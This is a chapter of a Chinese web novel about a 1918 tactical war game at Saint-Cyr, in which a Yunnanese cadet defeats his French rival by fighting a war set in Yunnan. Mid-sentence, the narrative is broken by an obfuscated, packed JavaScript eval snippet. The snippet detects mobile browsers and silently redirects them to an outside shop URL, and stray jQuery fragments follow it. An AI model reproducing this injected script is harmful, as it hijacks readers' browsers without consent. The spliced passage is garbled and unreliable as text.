民国七年深冬，圣诞节的钟声已经能在巴黎城里隐约听见，可圣西尔的雪却下得愈发不知收敛。
整整一个月的积雪覆盖了操场、马厩和射击场，连主楼灰白色的石墙都像蒙上了一层冰冷的雾。城里舞会和宴会的烫金邀请函像雪片一样飞进来，可圣西尔的新生营却没有半点节日气氛，因为一年级第一次大型战术推演即将开始。
消息公布的那天，整个军校都沸腾了，原因很简单——这是William Zhang和Marcel Delacroix的第一次正面对决。
推演比赛定在冬末，来年二月下旬。
日历一页页薄下去，窗外的雪却始终未停。平淡的日子里，弦在无声处越绷越紧。
从开学至今，这两个名字几乎成了新生营最滚烫的话题。一个是Delacroix家的继承人，从小接受最完整的军事教育，骑术、射击、格斗样样都刻在骨子里；另一个则是来自云南的东方学生，法语说得比巴黎人还标准，成绩单上永远稳稳压着所有人一头。
圣西尔的人早就在等这一场，推演名单公布当天，公告栏前围得水泄不通，红军总指挥：William Zhang。蓝军总指挥：Marcel Delacroix。
名单下面的议论瞬间像潮水一样炸开：“终于来了。”“我赌Marcel赢。”“可William从来没输过。”“那是考试，不是战争。”“可这不也是战争吗？”
雪花不断落在军帽和肩章上，议论声裹着白气升腾。而人群最前方，Marcel站在那里，目光死死钉在那张名单上，胸口缓缓升起一种久违的、近乎灼烧的兴奋。
这是第一次，第一次不用比成绩，第一次不用看公告栏，第一次不用听别人说“William又是第一”。这一次，胜负将在沙盘上决定，而战争，从来不是考试。
比赛前一晚，Marcel没有参加任何聚会。离推演只有不到十二个小时，他抱着一摞资料回到宿舍，把门反锁，连晚饭都只草草塞了两口。桌面上很快堆满了地图、历届推演记录和课堂笔记，最上面那一摞，全是William Zhang的作业，从桥梁布置到兵力调动，从补给计算到测绘记录，甚至连课堂上的草稿纸都被他托人找了出来。
凌晨一点，Jean推门进来时，看见的就是煤油灯下这幅景象：Marcel坐在桌前，整个人绷得像一张拉满的弓，桌上铺满了另一个人的笔迹。
Jean沉默了几秒，终于忍不住开口：
“Marcel.”
“Qu’est-ce que tu fais exactement ?”
（Marcel，你到底在干什么？）
Marcel头也没抬，笔尖还在纸上划动：
“Je prépare la simulation.”
（我在准备推演。）
Jean走近两步，看见那一桌熟悉的、属于William的笔迹，眉毛顿时挑了起来，声音里带上了一丝荒唐的笑意：
“Préparer une simulation ?”
（准备推演？）
“Ou préparer un enlèvement ?”
（还是准备绑架？）
Marcel终于抬起头，脸色难看得要命，眼下是熬夜熬出来的青黑：
“Je veux juste gagner.”
（我只是想赢。）
Jean沉默半天，终于发出一声又像叹息又像嘲讽的声音：
“Alors explique-moi pourquoi tu as copié tous ses devoirs depuis novembre.”
（那你解释一下，为什么你把他从十一月以来所有作业都抄了一份。）
房间里忽然安静下来，窗外的风雪声一下子变得清晰。Marcel的脸色更黑了，因为连他自己都发现，这件事听起来确实有点离谱，像个跟踪狂，像个疯子。可下一秒，他还是咬着牙把资料重新翻开，指节因为用力而泛白：
“Parce que cette fois, je vais le battre.”
（因为这一次，我一定会赢他。）
煤油灯下，未来的法国军官继续埋头研究那个人的每一道笔迹，每一个数字，每一处停顿。
他以为只要研究得足够透彻，就能把那个永远排在自己前面的人，从第一名的位置上拉下来。
而与此同时，推演室另一端，张子轩正坐在靠窗的位置，面前摆着的却不是法国地图，不是欧洲地图，更不是明天要用的推演沙盘，而是云南。
怒江像一条深色的疤，腾冲、蒙自、河口像星子一样散落在群山里，而那条横贯群山的滇越铁路，正被他用红蓝铅笔一寸寸描下去。雪光透过玻璃落在纸面上，把那些标记照得格外清晰，他安静地画着线，仿佛明天那场轰动全校的推演，与他根本没有关系。
第二天上午，推演正式开始。
整个阶梯推演室座无虚席，教官、学员、甚至高年级军官都来了不少，巨大的沙盘摆在中央，红蓝双方兵棋已经全部就位。
负责主持的教官站在最前方宣布规则后，正式吹响了开始信号。最初两个小时，局势完全按照Marcel的预想展开，蓝军稳步推进，侧翼包抄，炮兵压制，补给线稳定到像用尺子画出来，所有部署都堪称教科书级别，旁听席上甚至已经有人开始点头：“这才是Delacroix。”“终于要赢了。”“William这次恐怕危险了。”
然而第三个小时开始，情况忽然变了。红军没有按照法国教材迎战，没有固守，没有反击，甚至主动放弃了两处高地据点。
蓝军顺利推进，推进得过于顺利，顺利到像一场精心设计的陷阱。Marcel起初以为是诱敌，可情报显示一切正常，后方安静，前线无伏。直到第四个小时，他的补给线忽然断了，像被一把无形的刀从中间切断；第五个小时，侧翼唯一能通车的桥梁被切断，工兵回报说“遭遇山体滑坡”；第六个小时，前线部队彻底失去后勤支援，弹药、粮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932504|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
食、药品全都卡在了泥泞的山道上。整张沙盘像被人从背后抽掉了一根主梁，局势瞬间崩塌。
推演室里开始出现骚动，所有人都盯着那张地图，包括Marcel。他死死盯着沙盘，看了整整一分钟，后颈的冷汗慢慢下来，然后他终于发现了问题：William从一开始打的就不是法国战争，他打的是云南。
那些山地，那些峡谷，那些桥梁，那些铁路，那些暴雨季的泥石流，那些只存在于怒江两岸的补给难题，根本不是欧洲战场，而是一场彻头彻尾的、只属于云南的战争。
负责裁定的教官沉默了很久，最后缓缓放下手里的记录本，声音在死寂的推演室里显得格外清晰：
“Simulation terminée.”
（推演结束。）
胜负已经非常明显，红军获胜，William Zhang再次第一。教官望向Marcel，又望向张子轩，沉默许久后，终于缓缓开口：
“Delacroix.”
“Tu as appliqué parfaitement ce qu’on t’a enseigné.”
（Delacroix，你完美地执行了我们教给你的东西。）
随后，他转向另一边，目光复杂：
“Et Zhang.”
“Il a utilisé ce que nous lui avons enseigné pour résoudre un problème qui n’était pas fran?ais.”
（而Zhang，则用我们教给他的东西，去解决一个根本不属于法国的问题。）
推演室彻底安静下来，因为所有人都听懂了这句话的重量。张子轩来圣西尔，并不是为了成为法国军官，他只是来学习，学习结束以后，这些东西终究会被带回云南，带回那片需要用铁路和桥梁缝合的土地。
散场时，外面的雪下得更大了，学员们三三两两离开，议论声渐渐远去。而推演室里，只剩下最后一个人。
张子轩收起推演记录，把法国地图卷好放进柜子里，随后，他从抽屉最深处取出另一卷地图，缓缓展开。云南地图，怒江、腾冲、蒙自、河口、滇越铁路，所有线路在纸面上一点点铺开。
他低下头，继续补完昨天尚未完成的那一段桥梁设计，笔尖划过纸面的沙沙声里，窗外是巴黎的风雪，窗内却仿佛已经是万里之外的云南群山。
而门外，Marcel站在走廊尽头，透过那道半开的门缝，静静看着这一切。他忽然明白了一件事：自己拼命想赢的人，从来没有把圣西尔当作终点，自己还在争第一名，而那个人的目光，早已经越过法国，越过欧洲，落在了一万公里之外的群山和铁路上。
风雪无声地掠过窗外，那一年，十九岁的Marcel第一次尝到了比失败更难受的东西。因为他忽然发现，自己追逐的人，正在朝着另一个方向远去，而且从未回头，甚至从未为他停留一秒。
那道鸿沟，在这一刻，终于成了天堑。